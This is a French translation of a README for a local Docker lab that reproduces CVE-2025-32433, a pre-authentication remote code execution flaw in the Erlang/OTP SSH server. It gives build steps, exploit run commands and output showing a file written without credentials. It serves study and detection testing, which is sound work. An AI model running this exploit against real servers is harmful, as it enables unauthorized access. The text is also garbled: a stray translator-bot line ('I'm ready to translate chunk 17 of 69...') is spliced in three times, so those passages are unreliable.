Une faille dans la gestion des messages du protocole SSH pourrait permettre à un acteur malveillant d'obtenir un accès non autorisé aux systèmes affectés et d'exécuter des commandes arbitraires sans identifiants valides dans le serveur SSH Erlang/OTP
✅ RCE PRÉ-AUTHENTIFICATION CONFIRMÉE — Exploit démontré avec succès.
📄 Blog technique (PDF) :CVE-2025-32433-Technical-Blog.pdf
📸 Preuves visuelles :screenshots/
🔍 Détails de la preuve de concept :docs/PROOF_OF_CONCEPT.md
CVE-2025-32433 est une vulnérabilité critique de score CVSS 10.0 dans le démon SSH d'Erlang/OTP. Un attaquant non authentifié peut ouvrir des canaux SSH et exécuter des commandes arbitraires avant de terminer l'authentification — aucun identifiant requis.
Ce laboratoire vous fournit un environnement isolé et entièrement fonctionnel pour reproduire la vulnérabilité, exécuter l'exploit, le vérifier et tester les mécanismes de détection — le tout sur votre machine locale.
Avant de commencer, assurez-vous que les éléments suivants sont installés :
| Outil | Version minimale | Commande de vérification |
|---|---|---|
| Docker Desktop | 4.x+ | docker --version |
| Docker Compose | v2.20+ | docker compose version |
| Python | 3.10+ | python --version |
Vous avez également besoin de la bibliothèque Python paramiko pour la suite de détection :
pip install paramiko
Le tag d'image
erlang:26.2.5de Docker Hub a été silencieusement écrasé par la version corrigée26.2.5.11après la divulgation de CVE-2025-32433. Le récupérer depuis Docker Hub vous donne la version corrigée, pas la version vulnérable.Le fichier
lab/Dockerfilede ce lab compile OTP 26.2.5 directement depuis l'archive de release officielle Erlang sur GitHub afin de garantir le véritable environnement d'exécution vulnérable. La première compilation prend ~10 minutes.
┌──────────────────────────────────────────┐
│ Isolated Docker Bridge │
│ (cve-lab-bridge) │
└────┬────────────────────────────┬────────┘
│ │
┌───────────────┴─────────────┐┌─────────────┴──────────────┐
│ target_vulnerable ││ target_patched │
│ OTP 26.2.5 (source-built) ││ erlang:26.2.5.11 │
│ Host Port: 127.0.0.1:2222 ││ Host Port: 127.0.0.1:2223 │
└─────────────────────────────┘└─────────────────────────────┘
│
┌──────────────┴──────────────┐
│ attacker │
│ Python 3 + Scapy/Paramiko │
│ Workdir: /work │
└─────────────────────────────┘
| Conteneur | Port | Version OTP | Statut |
|---|---|---|---|
cve-2025-32433-vulnerable | 127.0.0.1:2222 | 26.2.5 (ERTS 14.2.5) | ❌ Vulnérable |
cve-2025-32433-patched | 127.0.0.1:2223 | 26.2.5.11 (ERTS 14.2.5.15) | ✅ Corrigé |
cve-2025-32433-attacker | Interne uniquement | Outils Python 3 | Ensemble d'outils de l'attaquant |
git clone https://github.com/damnkrishna/CVE-2025-32433-LAB.git
cd CVE-2025-32433-LAB
⏱️ Cela prend environ 10 minutes — il compile Erlang/OTP 26.2.5 à partir du code source C. C'est normal. Ne l'interrompez pas.
docker compose build --no-cache target_vulnerable
Vous verrez une sortie du compilateur comme make[1]: Leaving directory '/tmp/otp_src_26.2.5/lib/...' —
c'est normal. Elle se termine par :
✔ Image ine_cyber_assignment_job-target_vulnerable Built
docker compose build --no-cache target_patched
docker compose up -d target_vulnerable target_patched
docker compose ps
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate from English to French.
NAME STATUS PORTS
cve-2025-32433-vulnerable Up (healthy) 127.0.0.1:2222->2222/tcp
cve-2025-32433-patched Up (healthy) 127.0.0.1:2223->2222/tcp
Les deux conteneurs doivent afficher (healthy) avant de continuer.
Confirmez que le conteneur exécute réellement OTP 26.2.5 (et non la version corrigée) :
docker exec cve-2025-32433-vulnerable cat /usr/local/otp/lib/erlang/releases/RELEASES
Sortie attendue — doit afficher 14.2.5 SANS suffixe .15 :
[{release,"Erlang/OTP","26","14.2.5",
[{kernel,"9.2.4",...},
Si vous voyez 14.2.5.15 — l'image du conteneur est incorrecte. Reconstruisez avec --no-cache.
Connectez-vous en tant qu'utilisateur légitime pour confirmer que le serveur accepte l'authentification standard :
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]
Lorsque vous y êtes invité, saisissez le mot de passe : LabPass2026!Secured
Vous arriverez dans un shell Erlang :
Eshell V14.2.5 (press Ctrl+G to abort, type help(). for help)
1>
Essayez quelques commandes dans le shell Erlang :
ls().
file:write_file("test.txt", "hello").
file:read_file("test.txt").
Pour quitter le shell Erlang :
q().
Avant de lancer l'exploit, ouvrez un second terminal PowerShell et suivez le journal du serveur :
Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20
Gardez ce terminal ouvert. Vous verrez les événements de connexion apparaître en temps réel.
Il s'agit de la preuve de concept d'exécution de code à distance avant authentification. Aucun identifiant n'est utilisé.
cd attacker_work\exploit
python payload.py
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate from English to French.
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.1.4
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003d4...
La bannière doit afficher SSH-2.0-Erlang/5.1.4 (sans le suffixe .15) pour confirmer que vous avez atteint le serveur vulnérable.
docker exec cve-2025-32433-vulnerable cat /lab.txt
I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate from English to French.
pwned
Si vous voyez pwned — la RCE pré-authentification CVE-2025-32433 est confirmée.
L'exploit a écrit sur le système de fichiers du conteneur sans aucun identifiant.
Exécutez le même exploit contre le conteneur corrigé sur le port 2223 :
Modifiez la ligne 6 de attacker_work\exploit\payload.py :
PORT = 2223 # change from 2222 to 2223
Exécutez l'exploit :
python payload.py